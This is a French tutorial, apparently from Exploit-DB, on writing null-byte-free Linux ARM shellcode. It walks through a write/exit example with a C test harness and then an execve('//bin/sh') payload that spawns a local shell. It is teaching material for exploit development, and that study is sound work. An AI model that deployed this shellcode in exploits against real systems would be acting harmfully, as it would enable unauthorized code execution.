[French] How to create a Shellcode on ARM architecture

EDB-ID:

14143

CVE:

N/A


Platform:

Linux

Published:

2010-06-30

	Title:	  How to create a shellcode on ARM architecture ?
	Author:   Jonathan Salwan <submit ! shell-storm.org>
	Web:	  http://www.shell-storm.org/ | http://twitter.com/jonathansalwan
	Date:	  2010-06-30
	Language: French 

	Original version: http://howto.shell-storm.org/files/howto-4.php



	I - Présentation de l'architecture ARM
	======================================
	
	L'architecture  ARM  était  initialement  destinée  à un ordinateur de la société Acorn,
	puis  elle  a  été  complétée  pour  devenir  une  offre  indépendante pour le marché de 
	l'électronique  embarquée.  ARM  est  l'acronyme  de Advanced Risc Machine, précédemment 
	Acorn Risc Machine.

	Le coeur le  plus  célèbre  est  l'ARM7TDMI qui comporte 3 niveaux de pipeline. De plus,
	le ARM7TDMI  dispose   d'un  second  jeu  d'instructions  appelé  THUMB   permettant  le 
	codage d'instructions sur 16 bits et, ainsi, de réaliser un gain de  mémoire  important,
	notamment  pour  les  applications  embarquées.  L'architecture  ARM  est également très 
	répandue  dans  la  téléphonie  mobile. De  nombreux  systèmes  sont  portés  sur  cette
	architecture. À savoir Linux (qu'utilise notamment Maemo avec le N900   ou Android  avec 
	le Nexus One), Symbian S60 avec les Nokia N97 ou Samsung Player HD, iPhone OS avec 
	l'iPhone et l'iPad, et Windows Mobile.

	ARM Ltd a ensuite développé le coeur ARM9 qui comporte 5 niveaux de pipeline. Cela permet
	ainsi la réduction du nombre d'opérations logiques sur chaque cycle d'horloge et donc une 
	amélioration des performances en vitesse.



	II - Première approche d'un shellcode sous Linux/ARM
	====================================================

	Tout au long du document, nos tests seront effectués sur un processeur ARM926EJ-S.

	
	Pour commencer, jetons un coup d'oeil sur la convention des registres.


	Register  	Alt. Name  	Usage
	r0 		a1 		First function argument Integer function result Scratch register
	r1 		a2 		Second function argument Scratch register
	r2 		a3 		Third function argument Scratch register
	r3 		a4 		Fourth function argument Scratch register

	r4 		v1 		Register variable
	r5 		v2 		Register variable
	r6 		v3 		Register variable
	r7 		v4 		Register variable
	r8 		v5 		Register variable
	r9 		v6
			rfp 		Register variable Real frame pointer

	r10 		sl 		Stack limit
	r11 		fp 		Argument pointer
	r12 		ip 		Temporary workspace
	r13 		sp 		Stack pointer
	r14 		lr 		Link register Workspace
	r15 		pc 		Program counter


	Donc les registres r0 à r3 seront destinés aux arguments placés dans nos fonctions.
	Les registres r4 à r9 seront utilisés pour des variables diverses.

	Cependant r7 est utilisé pour stocker l'adresse du syscall à exécuter.

	r13 est le registre qui pointe sur la stack et r15 celui qui pointe sur la prochaine
	adresse à exécuter.

	Ces deux registres pourraient être comparés aux registres ESP et EIP sous x86, malgré 
	que l'exécution des registres entre x86 et ARM soit très différente.


	Commençons par écrire un shellcode qui va appeler le syscall _write puis ensuite
	_exit.

	Pour commencer nous devons connaître l'adresse des syscall. 
	Pour cela, comme d'habitude :

	root@ARM9:~# cat /usr/include/asm/unistd.h | grep write
	#define __NR_write			(__NR_SYSCALL_BASE+  4)
	#define __NR_writev			(__NR_SYSCALL_BASE+146)
	#define __NR_pwrite64			(__NR_SYSCALL_BASE+181)
	#define __NR_pciconfig_write		(__NR_SYSCALL_BASE+273)


	root@ARM9:~# cat /usr/include/asm/unistd.h | grep exit
	#define __NR_exit			(__NR_SYSCALL_BASE+  1)
	#define __NR_exit_group			(__NR_SYSCALL_BASE+248)


	Ok, donc 4 pour _write et 1 pour _exit

	Bilan :
	On sait que la fonction write utilise 3 arguments: write(int __fd, __const void *__buf, size_t __n)
	
	Donc, nous avons :

	r0 => 1			(output)		
	r1 => shell-storm.org\n (string)
	r2 => 16 		(strlen(string))
	r7 => 4 		(syscall)

	r0 => 0
	r7 => 1	


	Voici ce que cela donne en asm:

	root@ARM9:/home/jonathan/shellcode/write# cat write.s 
	.section .text
	.global _start

	_start:

		# _write()
		mov 	r2, #16
		mov	r1, pc		<= r1 = pc
		add	r1, #24		<= r1 = pc + 24 (ce qui va pointer sur notre string)
		mov 	r0, $0x1	
		mov 	r7, $0x4
		svc 	0

		# _exit()
		sub	r0, r0, r0
		mov 	r7, $0x1
		svc	0

	.ascii "shell-storm.org\n"

	root@ARM9:/home/jonathan/shellcode/write# as -o write.o write.s
	root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
	root@ARM9:/home/jonathan/shellcode/write# ./write 
	shell-storm.org
	root@ARM9:/home/jonathan/shellcode/write#
	root@ARM9:/home/jonathan/shellcode/write# strace ./write
	execve("./write", ["./write"], [/* 17 vars */]) = 0
	write(1, "shell-storm.org\n"..., 16shell-storm.org
	)    = 16
	exit(0)

	
	Jusqu'à maintenant, tout fonctionne correctement, cependant pour créer notre shellcode
	nous ne devons pas utiliser de null bytes, et notre code en est pourtant blindé.

	root@ARM9:/home/jonathan/shellcode/write# objdump -d write

	write:     file format elf32-littlearm


	Disassembly of section .text:

	00008054 <_start>:
	    8054:	e3a02010 	mov	r2, #16	; 0x10
	    8058:	e1a0100f 	mov	r1, pc
	    805c:	e2811018 	add	r1, r1, #24
	    8060:	e3a00001 	mov	r0, #1	; 0x1
	    8064:	e3a07004 	mov	r7, #4	; 0x4
	    8068:	ef000000 	svc	0x00000000
	    806c:	e0400000 	sub	r0, r0, r0
	    8070:	e3a07001 	mov	r7, #1	; 0x1
	    8074:	ef000000 	svc	0x00000000
	    8078:	6c656873 	stclvs	8, cr6, [r5], #-460
	    807c:	74732d6c 	ldrbtvc	r2, [r3], #-3436
	    8080:	2e6d726f 	cdpcs	2, 6, cr7, cr13, cr15, {3}
	    8084:	0a67726f 	beq	19e4a48 <__data_start+0x19d49c0>
	
	
	En ARM, il existe un mode appelé "Thumb Mode" qui permet de ramener toutes les instructions sur 16 bits
	au lieu de 32, ce qui va nous faciliter la vie.
	
	root@ARM9:/home/jonathan/shellcode/write# cat write.s 
	.section .text
	.global _start

	_start:

		.code 32
		# Thumb-Mode on
		add 	r6, pc, #1
		bx	r6

		.code 	16
		# _write()
		mov 	r2, #16
		mov	r1, pc
		add	r1, #12
		mov 	r0, $0x1	
		mov 	r7, $0x4
		svc 	0

		# _exit()
		sub	r0, r0, r0
		mov 	r7, $0x1
		svc	0

	.ascii "shell-storm.org\n"

	root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
	root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
	root@ARM9:/home/jonathan/shellcode/write# ./write 
	shell-storm.org

	
	Pour la compilation, il faut utiliser "-mthumb" pour bien indiquer qu'on passe en "thumb mode".

	Si vous regardez bien, dans le code asm, j'ai changé la valeur de r1 sur l'instruction add
	au lieu d'avoir fait un "add r1, #24" , j'ai fais un "add r1, #12" car je suis passé en "thumb mode".
	Du coup, l'adresse où est situé ma chaine est divisée par 2.

	Regardons ce que cela donne au niveau des null bytes: 

	root@ARM9:/home/jonathan/shellcode/write# objdump -d write

	write:     file format elf32-littlearm


	Disassembly of section .text:

	00008054 <_start>:
	    8054:	e28f6001 	add	r6, pc, #1
	    8058:	e12fff16 	bx	r6
	    805c:	2210      	movs	r2, #16
	    805e:	4679      	mov	r1, pc
	    8060:	310c      	adds	r1, #12
	    8062:	2001      	movs	r0, #1
	    8064:	2704      	movs	r7, #4
	    8066:	df00      	svc	0
	    8068:	1a00      	subs	r0, r0, r0
	    806a:	2701      	movs	r7, #1
	    806c:	df00      	svc	0
	    806e:	6873      	ldr	r3, [r6, #4]
	    8070:	6c65      	ldr	r5, [r4, #68]
	    8072:	2d6c      	cmp	r5, #108
	    8074:	7473      	strb	r3, [r6, #17]
	    8076:	726f      	strb	r7, [r5, #9]
	    8078:	2e6d      	cmp	r6, #109
	    807a:	726f      	strb	r7, [r5, #9]
	    807c:	0a67      	lsrs	r7, r4, #9


	C'est déjà un peu plus propre...
	Il nous reste plus qu'à modifier l'instruction "svc 0" et "sub r0, r0, r0"

	Pour SVC nous allons utiliser "svc 1" qui fonctionne parfaitement.

	Pour "sub r0, r0, r0" le but est de placer 0 dans le registre r0, nous ne pouvons 
	pas faire un "mov r0, #0" car il contiendra aussi un null bytes.

	Le seul moyen que j'ai trouvé est de faire un:

	sub r4, r4, r4
	mov r0, r4

	  
	Voici ce que cela donne:

	root@ARM9:/home/jonathan/shellcode/write# cat write.s 
	.section .text
	.global _start

	_start:
		.code 32
	
		# Thumb-Mode on
		add 	r6, pc, #1
		bx	r6
		.code 	16

		# _write()
		mov 	r2, #16
		mov	r1, pc
		add	r1, #14			<==== Nous avons encore changé l'adresse, car dans exit() nous avons rajouté
		mov 	r0, $0x1		      des lignes d'instructions, donc cela décale la string.
		mov 	r7, $0x4
		svc 	1

		# _exit()
		sub	r4, r4, r4
		mov	r0, r4
		mov 	r7, $0x1
		svc	1

	.ascii "shell-storm.org\n"
	root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
	root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
	root@ARM9:/home/jonathan/shellcode/write# ./write 
	shell-storm.org
	root@ARM9:/home/jonathan/shellcode/write# strace ./write
	execve("./write", ["./write"], [/* 17 vars */]) = 0
	write(1, "shell-storm.org\n"..., 16shell-storm.org
	)    = 16
	exit(0)                                 = ?
	root@ARM9:/home/jonathan/shellcode/write# objdump -d write

	write:     file format elf32-littlearm


	Disassembly of section .text:

	00008054 <_start>:
	    8054:	e28f6001 	add	r6, pc, #1	; 0x1
	    8058:	e12fff16 	bx	r6
	    805c:	2210      	movs	r2, #16
	    805e:	4679      	mov	r1, pc
	    8060:	310e      	adds	r1, #14
	    8062:	2001      	movs	r0, #1
	    8064:	2704      	movs	r7, #4
	    8066:	df01      	svc	1
	    8068:	1b24      	subs	r4, r4, r4
	    806a:	1c20      	adds	r0, r4, #0
	    806c:	2701      	movs	r7, #1
	    806e:	df01      	svc	1
	    8070:	6873      	ldr	r3, [r6, #4]
	    8072:	6c65      	ldr	r5, [r4, #68]
	    8074:	2d6c      	cmp	r5, #108
	    8076:	7473      	strb	r3, [r6, #17]
	    8078:	726f      	strb	r7, [r5, #9]
	    807a:	2e6d      	cmp	r6, #109
	    807c:	726f      	strb	r7, [r5, #9]
	    807e:	0a67      	lsrs	r7, r4, #9



	Et bien voilà, nous avons un shellcode opérationnel sans aucun null bytes 
	En C, cela donne:

	root@ARM9:/home/jonathan/shellcode/write/C# cat write.c 

	#include <stdio.h>

	char *SC = 	"\x01\x60\x8f\xe2"
			"\x16\xff\x2f\xe1"
			"\x10\x22"
			"\x79\x46"
			"\x0e\x31"
			"\x01\x20"
			"\x04\x27"
			"\x01\xdf"
			"\x24\x1b"
			"\x20\x1c"
			"\x01\x27"
			"\x01\xdf"
			"\x73\x68"
			"\x65\x6c"
			"\x6c\x2d"
			"\x73\x74"
			"\x6f\x72"
			"\x6d\x2e"
			"\x6f\x72"
			"\x67\x0a";


	int main(void)
	{
		fprintf(stdout,"Length: %d\n",strlen(SC));
		(*(void(*)()) SC)();
	return 0;
	}

	root@ARM9:/home/jonathan/shellcode/write/C# gcc -o write write.c
	write.c: In function 'main':
	write.c:28: warning: incompatible implicit declaration of built-in function 'strlen'
	root@ARM9:/home/jonathan/shellcode/write/C# ./write 
	Length: 44
	shell-storm.org
	


	III - execv("/bin/sh", "/bin/sh", 0)
	====================================

	
	Maintenant, étudions un shellcode qui appelle execve()

	La structure du code devrait avoir cette forme:

	r0 => "//bin/sh"
	r1 => "//bin/sh"
	r2 => 0
	
	r7 => 11
	

	root@ARM9:/home/jonathan/shellcode/shell# cat shell.s 
	.section .text
	.global _start
	_start:
		.code 32			// 
		add 	r3, pc, #1		// Toute cette section est pour le "Thumb Mode"
		bx	r3			//
		.code 16			//

		mov 	r0, pc			// On place l'adresse de pc dans r0
		add 	r0, #10			// et on y rajoute + 10 (qui va donc pointer sur //bin/sh)
		str	r0, [sp, #4]		// ensuite on place cela sur la stack (pour le cas où on doit le réutiliser)

		add     r1, sp, #4		// on reprend ce qu'on à placer sur la stack pour le mettre dans r1

		sub	r2, r2, r2		// ou soustrait r2 par lui même (ce qui revient à mettre 0 dans r2)

		mov 	r7, #11			// syscall execve dans r7
		svc 	1			// on exécute 

	.ascii "//bin/sh"

	root@ARM9:/home/jonathan/shellcode/shell# as -mthumb -o shell.o shell.s
	root@ARM9:/home/jonathan/shellcode/shell# ld -o shell shell.o
	root@ARM9:/home/jonathan/shellcode/shell# ./shell 
	# exit
	root@ARM9:/home/jonathan/shellcode/shell#

	On peut même vérifier que le shellcode ne contient aucun null bytes.

	    8054:	e28f3001 	add	r3, pc, #1
	    8058:	e12fff13 	bx	r3
	    805c:	4678      	mov	r0, pc
	    805e:	300a      	adds	r0, #10
	    8060:	9001      	str	r0, [sp, #4]
	    8062:	a901      	add	r1, sp, #4
	    8064:	1a92      	subs	r2, r2, r2
	    8066:	270b      	movs	r7, #11
	    8068:	df01      	svc	1
	    806a:	2f2f      	cmp	r7, #47
	    806c:	6962      	ldr	r2, [r4, #20]
	    806e:	2f6e      	cmp	r7, #110
	    8070:	6873      	ldr	r3, [r6, #4]


	Et voilà, c'est la fin de ce "howto", pour retrouver des shellcodes sous ARM 
	voir le lien suivant: http://www.shell-storm.org/search/index.php?shellcode=arm


	IV - Références
	===============
	
	[x] http://www.shell-storm.org

	[1] http://fr.wikipedia.org/wiki/Architecture_ARM

	[2] http://nibbles.tuxfamily.org/?p=620

	[3] The ARM Instruction Set (http://www.shell-storm.org/papers/files/664.pdf)

	[4] ARM Addressing Modes Quick Reference Card (http://www.shell-storm.org/papers/files/663.pdf)